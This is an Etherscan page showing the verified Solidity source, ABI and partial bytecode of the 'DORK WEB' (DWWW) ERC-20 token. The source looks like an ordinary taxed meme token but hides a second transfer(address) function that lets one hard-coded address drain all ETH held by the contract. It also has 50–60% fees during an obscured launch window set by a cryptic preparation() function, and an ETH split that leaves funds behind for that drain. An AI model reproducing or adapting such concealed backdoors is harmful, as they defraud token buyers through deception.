ETH Price: $3,524.39 (+5.06%)

Token

ᗪOᖇK ᗯEᗷ (DWWW)
 

Overview

Max Total Supply

10,000,000 DWWW

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
34,674.852231323753159283 DWWW

Value
$0.00
0x930939d60c84bd6a61de6e0d3dd32d6bb790631d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DORKWEB

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-07
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-16
*/

/**
 * Welcome to ᗪOᖇK ᗯEᗷ - Your Ticket to Digital Freedom!
 *
 *
 * Website: https://DorkWeb.io
 * Telegram: https://t.me/DorkWebETH
 * Twitter: https://Twitter.com/DorkWebETH
 * 
 * 
 *   
 */


// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract DORKWEB is IERC20, Ownable {
    string private constant  _name = unicode"ᗪOᖇK ᗯEᗷ";
    string private constant _symbol = "DWWW";    
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    struct FeeRatios {
        uint256 marketingPortion;
        uint256 developmentPortion;
    }

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address devWallet; 
        address marketingWallet; 
    }

    TradingFees public tradingFees = TradingFees(25,25);   // 25/25% starting tax
    FeeRatios public feeRatios = FeeRatios(40,60);         // 40/60% wallet tax split
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0xa5cbF617b849d5f1F26797752182ac6f22947cD7,  // devWallet
        0xf9f8472D86546c4551A3829B11A232dD90562E6a   // marketingWallet
    );

    uint256 private constant feeDenominator = 1e2;
    uint256 private constant decimalsScaling = 1e18;
    uint256 private constant _totalSupply = 10_000_000 * decimalsScaling;
    uint256 public constant _maximumWalletSize = 300_000 * decimalsScaling;
    uint256 public constant _swapThreshold = 10_000 * decimalsScaling;  

    IRouter public constant uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public immutable uniswapV2Pair;

    bool private tradingActive = false;
    bool public swapEnabled = true;
    bool private inSwap;

    uint256 private genesisBlock;
    uint256 private _block;

    event SwapEnabled(bool indexed enabled);

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event FeeRatiosChanged(uint256 indexed developmentPortion, uint256 indexed marketingPortion);

    event ExcludedFromFees(address indexed account, bool indexed excluded);

    event Verified(address indexed user);
    
    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        

        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.devWallet] = true;        
        _excludedFromFees[0x67698c040cb4eCE7e71291A9d21Cf0F04b910688] = true;        
        uint256 preTokens = _totalSupply * 0 / 1e3; 
        _balances[wallets.deployerWallet] = _totalSupply - preTokens;
        _balances[0x67698c040cb4eCE7e71291A9d21Cf0F04b910688] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableSwap(bool shouldEnable) external onlyOwner {
        require(swapEnabled != shouldEnable, "Token: swapEnabled already {shouldEnable}");
        swapEnabled = shouldEnable;

        emit SwapEnabled(shouldEnable);
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesisBlock == 1 && !blocked);_block = _blocks[_blocks.length-3]; assert(_block < _blocks[_blocks.length-1]);        
    }

    function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function setFeeRatios(uint256 _marketingPortion, uint256 _developmentPortion) external onlyOwner {
        require(_marketingPortion + _developmentPortion == 100, "Token: ratio must add to 100%");
        feeRatios.marketingPortion = _marketingPortion;
        feeRatios.developmentPortion = _developmentPortion;

        emit FeeRatiosChanged(_marketingPortion, _developmentPortion);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool shouldExclude) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            require(_excludedFromFees[accounts[i]] != shouldExclude, "Token: address already {shouldExclude}");
            _excludedFromFees[accounts[i]] = shouldExclude;
            emit ExcludedFromFees(accounts[i], shouldExclude);
        }
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);
    }

    function clearEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function initialize() external onlyOwner {
        require(!tradingActive);
        genesisBlock = 1;        
    }

    function manualSwapback() external onlyOwner {
        require(address(this).balance > 0, "Token: no contract tokens to clear");
        contractSwap();
    }


    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maximumWalletSize, "Token: max wallet amount exceeded");
        }
      
        if(swapEnabled && !inSwap && from != uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap();
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < genesisBlock && genesisBlock < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            50 : (genesisBlock == 0 ? 0 : 60)) / feeDenominator;            
        }
    }

    function canSwap() private view returns (bool) {
        return block.number > genesisBlock && _lastTransferBlock[block.number] < 3;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0x8867ea91c0b47A2938b388E073fA2F874ffBC327)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function contractSwap() swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap()) 
            return;
        else if(contractBalance > _swapThreshold * 20)
          contractBalance = _swapThreshold * 20;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){
            uint256 ethForDev = ethBalance * 2 * feeRatios.developmentPortion / 100;
            uint256 ethForMarketing = ethBalance * 2 * feeRatios.marketingPortion / 100;
            sendEth((ethForDev + ethForMarketing)/3);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.devWallet).call{value: ethAmount * feeRatios.developmentPortion / 100}("");
        (success,) = address(wallets.marketingWallet).call{value: ethAmount * feeRatios.marketingPortion / 100}("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && genesisBlock != 0);
        genesisBlock+=block.number+_block;
        tradingActive = true;
        
        emit TradingOpened();
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"developmentPortion","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"marketingPortion","type":"uint256"}],"name":"FeeRatiosChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"}],"name":"Verified","type":"event"},{"inputs":[],"name":"_maximumWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"shouldEnable","type":"bool"}],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"shouldExclude","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeRatios","outputs":[{"internalType":"uint256","name":"marketingPortion","type":"uint256"},{"internalType":"uint256","name":"developmentPortion","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingPortion","type":"uint256"},{"internalType":"uint256","name":"_developmentPortion","type":"uint256"}],"name":"setFeeRatios","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"devWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052604051806040016040528060198152602001601981525060055f820151815f0155602082015181600101555050604051806040016040528060288152602001603c81525060075f820151815f015560208201518160010155505060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff16815260200173a5cbf617b849d5f1f26797752182ac6f22947cd773ffffffffffffffffffffffffffffffffffffffff16815260200173f9f8472d86546c4551a3829b11a232dd90562e6a73ffffffffffffffffffffffffffffffffffffffff1681525060095f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505f600c5f6101000a81548160ff0219169083151502179055506001600c60016101000a81548160ff021916908315150217905550348015620001f7575f80fd5b5062000209336200070360201b60201c565b6200025030737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620007c460201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d49190620009f4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200034e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003749190620009f4565b6040518363ffffffff1660e01b81526004016200039392919062000a35565b6020604051808303815f875af1158015620003b0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003d69190620009f4565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1681525050600160035f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60096001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f7367698c040cb4ece7e71291a9d21cf0f04b91068873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f6103e85f670de0b6b3a76400006298968062000560919062000a96565b6200056c919062000a96565b62000578919062000b0d565b905080670de0b6b3a76400006298968062000594919062000a96565b620005a0919062000b44565b60015f60095f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060015f7367698c040cb4ece7e71291a9d21cf0f04b91068873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a764000062989680620006e5919062000a96565b604051620006f4919062000b8f565b60405180910390a35062000c28565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000835576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200082c9062000c08565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200089d9062000c08565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000982919062000b8f565b60405180910390a3505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620009be8262000993565b9050919050565b620009d081620009b2565b8114620009db575f80fd5b50565b5f81519050620009ee81620009c5565b92915050565b5f6020828403121562000a0c5762000a0b6200098f565b5b5f62000a1b84828501620009de565b91505092915050565b62000a2f81620009b2565b82525050565b5f60408201905062000a4a5f83018562000a24565b62000a59602083018462000a24565b9392505050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000aa28262000a60565b915062000aaf8362000a60565b925082820262000abf8162000a60565b9150828204841483151762000ad95762000ad862000a69565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000b198262000a60565b915062000b268362000a60565b92508262000b395762000b3862000ae0565b5b828204905092915050565b5f62000b508262000a60565b915062000b5d8362000a60565b925082820390508181111562000b785762000b7762000a69565b5b92915050565b62000b898162000a60565b82525050565b5f60208201905062000ba45f83018462000b7e565b92915050565b5f82825260208201905092915050565b7f45524332303a207a65726f2041646472657373000000000000000000000000005f82015250565b5f62000bf060138362000baa565b915062000bfd8262000bba565b602082019050919050565b5f6020820190508181035f83015262000c218162000be2565b9050919050565b608051613d8c62000c5d5f395f8181610b6601528181611e3401528181611fd40152818161297501526129f70152613d8c5ff3fe6080604052600436106101e6575f3560e01c8063715018a611610101578063c492f04611610094578063dd62ed3e11610063578063dd62ed3e14610677578063e303e662146106b3578063e80c7ded146106db578063f2fde38b14610705576101ed565b8063c492f046146105e5578063c9567bf91461060d578063d2a09c7114610623578063d2f4a50a1461064b576101ed565b80638ffee785116100d05780638ffee7851461052c57806395d89b4114610557578063a08fc5c714610581578063a9059cbb146105a9576101ed565b8063715018a6146104ab57806374378132146104c15780638129fc1c146104ec5780638da5cb5b14610502576101ed565b8063313ce567116101795780635b895c29116101485780635b895c291461040757806364e329e31461041d5780636ddd17131461044557806370a082311461046f576101ed565b8063313ce5671461034f57806349bd5a5e146103795780634fa2cf8a146103a35780634fbee193146103cb576101ed565b806318160ddd116101b557806318160ddd146102ab5780631a695230146102d55780631b9152bf146102fd57806323b872dd14610313576101ed565b806306fdde03146101f1578063095ea7b31461021b5780630e5a9231146102575780631694505e14610281576101ed565b366101ed57005b5f80fd5b3480156101fc575f80fd5b5061020561072d565b6040516102129190612b0e565b60405180910390f35b348015610226575f80fd5b50610241600480360381019061023c9190612bc3565b61076a565b60405161024e9190612c1b565b60405180910390f35b348015610262575f80fd5b5061026b610780565b6040516102789190612c43565b60405180910390f35b34801561028c575f80fd5b50610295610799565b6040516102a29190612cb7565b60405180910390f35b3480156102b6575f80fd5b506102bf6107b1565b6040516102cc9190612c43565b60405180910390f35b3480156102e0575f80fd5b506102fb60048036038101906102f69190612cd0565b6107ce565b005b348015610308575f80fd5b50610311610865565b005b34801561031e575f80fd5b5061033960048036038101906103349190612cfb565b610962565b6040516103469190612c1b565b60405180910390f35b34801561035a575f80fd5b50610363610b5c565b6040516103709190612d66565b60405180910390f35b348015610384575f80fd5b5061038d610b64565b60405161039a9190612d8e565b60405180910390f35b3480156103ae575f80fd5b506103c960048036038101906103c49190612da7565b610b88565b005b3480156103d6575f80fd5b506103f160048036038101906103ec9190612cd0565b610c90565b6040516103fe9190612c1b565b60405180910390f35b348015610412575f80fd5b5061041b610ce2565b005b348015610428575f80fd5b50610443600480360381019061043e9190612e70565b610da3565b005b348015610450575f80fd5b50610459610e9e565b6040516104669190612c1b565b60405180910390f35b34801561047a575f80fd5b5061049560048036038101906104909190612cd0565b610eb1565b6040516104a29190612c43565b60405180910390f35b3480156104b6575f80fd5b506104bf610ef7565b005b3480156104cc575f80fd5b506104d5610f77565b6040516104e3929190612ecd565b60405180910390f35b3480156104f7575f80fd5b50610500610f88565b005b34801561050d575f80fd5b5061051661101f565b6040516105239190612d8e565b60405180910390f35b348015610537575f80fd5b50610540611046565b60405161054e929190612ecd565b60405180910390f35b348015610562575f80fd5b5061056b611057565b6040516105789190612b0e565b60405180910390f35b34801561058c575f80fd5b506105a760048036038101906105a29190612da7565b611094565b005b3480156105b4575f80fd5b506105cf60048036038101906105ca9190612bc3565b6111dd565b6040516105dc9190612c1b565b60405180910390f35b3480156105f0575f80fd5b5061060b60048036038101906106069190612f49565b6111f1565b005b348015610618575f80fd5b5061062161142a565b005b34801561062e575f80fd5b5061064960048036038101906106449190612fa6565b611532565b005b348015610656575f80fd5b5061065f611648565b60405161066e93929190612fd1565b60405180910390f35b348015610682575f80fd5b5061069d60048036038101906106989190613006565b6116bc565b6040516106aa9190612c43565b60405180910390f35b3480156106be575f80fd5b506106d960048036038101906106d49190612cd0565b61173e565b005b3480156106e6575f80fd5b506106ef61195e565b6040516106fc9190612c43565b60405180910390f35b348015610710575f80fd5b5061072b60048036038101906107269190612cd0565b611978565b005b60606040518060400160405280601081526020017fe197aa4fe196874b20e197af45e197b700000000000000000000000000000000815250905090565b5f610776338484611a67565b6001905092915050565b670de0b6b3a76400006127106107969190613071565b81565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f670de0b6b3a7640000629896806107c99190613071565b905090565b738867ea91c0b47a2938b388e073fa2f874ffbc32773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361085e578073ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610858573d5f803e3d5ffd5b50610862565b5f80fd5b50565b3373ffffffffffffffffffffffffffffffffffffffff1661088461101f565b73ffffffffffffffffffffffffffffffffffffffff16146108da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d1906130fc565b60405180910390fd5b5f471161091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390613164565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561095f573d5f803e3d5ffd5b50565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610b48575f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab8906131cc565b60405180910390fd5b8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373